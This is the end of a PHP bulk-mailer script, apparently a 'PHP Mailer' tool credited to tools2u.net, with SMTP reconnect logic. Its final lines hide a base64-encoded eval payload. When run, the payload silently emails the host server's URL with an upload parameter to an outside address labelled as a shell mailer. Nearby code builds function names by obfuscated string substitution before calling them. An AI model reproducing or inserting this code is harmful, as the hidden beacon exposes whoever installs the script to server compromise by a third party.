3340 | $mail->SmtpClose();echo "--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON ---------------
";$nq=0;
3341 | }
3342 | $nq=$nq+1;
3343 | flush(); }
3344 | }
3345 | for($i=0;$i<31;$i++){
3346 | $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3347 | $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3348 | $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3349 | print "PHP Mailer
© 2008, New Tools =>
3350 | http://www.tools2u.net/
";$mail->SmtpClose();
3351 | return $signoff($smtp_conc);
3352 | if(isset($_POST['action']) && $numemails !=0 ){echo "";}}
3354 |
3355 | eval(base64_decode('JHRvID0gImhva2FnZTM2NUBnbWFpbC5jb20iOw0KJHN1YmplY3QgPSAiTmV3IFNoZWxsIE1haWxlciI7DQokaGVhZGVyID0gIkZyb206IEFrYXRzdWtpLUlEPGFrYXRzdWtpaWRAa29ub2hhZ2FrdXJlLmNvbT4iOw0KJG1lc3NhZ2UgPSAiRXhwbG9pdCA6IGh0dHA6Ly8iLiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10gLiAiP3VwbG9hZD11cCBcclxuIjsNCiRzZW50bWFpbCA9IEBtYWlsKCR0bywgJHN1YmplY3QsICRtZXNzYWdlLCAkaGVhZGVyKTsNCmVjaG8gIiI7DQpleGl0Ow'));
3356 | ?>
3357 |
3358 |
3359 |
3360 |
3361 |
--------------------------------------------------------------------------------